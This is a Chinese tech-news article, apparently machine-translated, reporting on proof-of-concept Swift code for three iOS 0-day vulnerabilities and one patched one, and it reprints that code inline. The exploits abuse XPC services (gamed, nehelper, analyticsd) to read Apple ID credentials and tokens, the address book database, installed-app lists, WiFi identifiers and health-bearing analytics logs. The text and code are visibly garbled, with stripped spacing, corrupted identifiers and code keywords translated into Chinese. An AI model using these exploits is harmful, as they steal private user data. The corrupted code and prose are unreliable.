当前位置: 首页 > 科技观察

研究人员发现三个iOS0-day漏洞PoC代码

时间:2023-03-21 17:39:03 科技观察

研究人员发现三个iOS0-day漏洞PoC代码。GitHub用户illusionofchaos在GitHub上发布了4个iOS安全漏洞的PoC代码,包括3个0-day漏洞和1个已修复的安全漏洞。这4个漏洞分别是:Gamed0-dayNehelperEnumerateInstalledApps0-dayNehelperWifiInfo0-dayAnalyticsd(修复于iOS14.7)情况下获取以下信息:AppleID邮箱地址和AppleID账户全名;AppleID认证令牌,允许以用户名义访问*.apple.com上至少1个终端;CoreDuet数据库的完整文件系统读取权限,这包括电子邮件、短信、iMessage和第三方消息应用程序的联系人,以及有关用户与这些联系人交互的元数据;对快速拨号数据库和地址簿数据库的完整文件系统读取访问权限,包括联系人图片和其他元数据数据;PoC代码如下:(pid,localPlayer:nil,reply:{(accountService,_,_,_,_,_,_,_,utilityService,_,_,_,_)inaccountService.authenticatePlayerWithExistingCredentials(handler:{response,errorinletappleID=response.credential.accountNamelettoken=response.credential.authenticationToken}utilityService.requestImageData(for:URL(fileURLWithPath:"/var/mobile/Library/AddressBook/AddressBook.sqlitedb"),subdirectory:nil,fileName:nil,handler:{datainletaddressBookData=data}}NehelperEnumerateInstalledApps0-day该漏洞允许任何用户安装的APP确定设备上安装的APP是否为给定的bundleID。XPC终端com.apple.nehelper有一个访问APP的方法,该方法接受bundleID作为参数,并返回一个包含缓存UUID的数组,可用于与设备上安装的UUID进行比较。用于配对的应用程序包ID。有关详细信息,请参阅/usr/libexec/nehelper的[NEHelperCacheManageronQueueHandleMessage:]:funcisAppInstalled(bundleId:String)->Bool{letconnection=xpc_connection_create_mach_service("com.apple.nehelper",nil,2)!xpc_connection_set_event_handler(connection,{_in})xpc_connection_resume(connection)letxdict=xpc_dictionary_create(nil,nil,0)xpc_dictionary_set_uint64(xdict,"delegate-class-id",1)xpc_dictionary_set_uint64(xdict,"cache-command",3)xpc_dictionary_set_string(xdictigning-cache-if??sign",bundleId)letreply=xpc_connection_send_message_with_reply_sync(connection,xdict)ifletresultData=xpc_dictionary_get_value(reply,"result-data"),xpc_dictionary_get_value(resultData,"cache-app-uuid")!=nil{returntrue}returnperfalse-0}Inhel当天XPC终端com.apple.nehelper会收到用户提供的参数sdk-version,如果小于等于524288,com.apple.developer.networking.wifi-info授权会被跳过,这样就可以让任何符合条件的APP获取WiFi信息没有权利。funcwifi_info()->String?{letconnection=xpc_connection_create_mach_service("com.apple.nehelper",nil,2)xpc_connection_set_event_handler(connection,{_in})xpc_connection_resume(connection)letxdict=xpc_dictionary_create(nil,nil,0)xpc_dictionary_set_uint64(xdict,"delegate-class-id",10)xpc_dictionary_set_uint64(xdict,"sdk-version",1)//可能完全省略xpc_dictionary_set_string(xdict,"interface-name","en0")letreply=xpc_connection_send_message_with_reply_sync(connection,xdict)ifletresult=xpc_dictionary_get_value(回复,“结果数据”){letssid=String(cString:xpc_dictionary_get_string(结果,“SSID”))letbssid=String(cString:xpc_dictionary_get_string(结果,“BSSID”))返回“SSID:\(ssid)\nBSSID:\(bssid)"}else{returnil}}Analyticsd(iOS14.7中已修复)应该允许允许任何意向用户安装的APP访问分析日志。这些日志包含以下信息:医疗信息,包括心跳、异常心律事件等;设备使用信息,包括推送通知数量和用户行为等;屏幕时间信息和给定包ID的所有有用会话;查看网页的语言;设备配件信息,包括制造商、型号、固件版本和用户指定名称;funcanalytics_json()->String?{letconnection=xpc_connection_create_mach_service("com.apple.analyticsd",nil,2)xpc_connection_set_event_handler(连接,{_in})xpc_connection_resume(连接)letxdict=xpc_dictionary_create(nil,nil,0)xpc_dictionary_set_string(xdict,"command","log-dump");letreply=xpc_connection_sendget_message_with_reply_sync(connection,p_dictionx)_returiclog-dump");}更多信息:https://habr.com/ru/post/579714/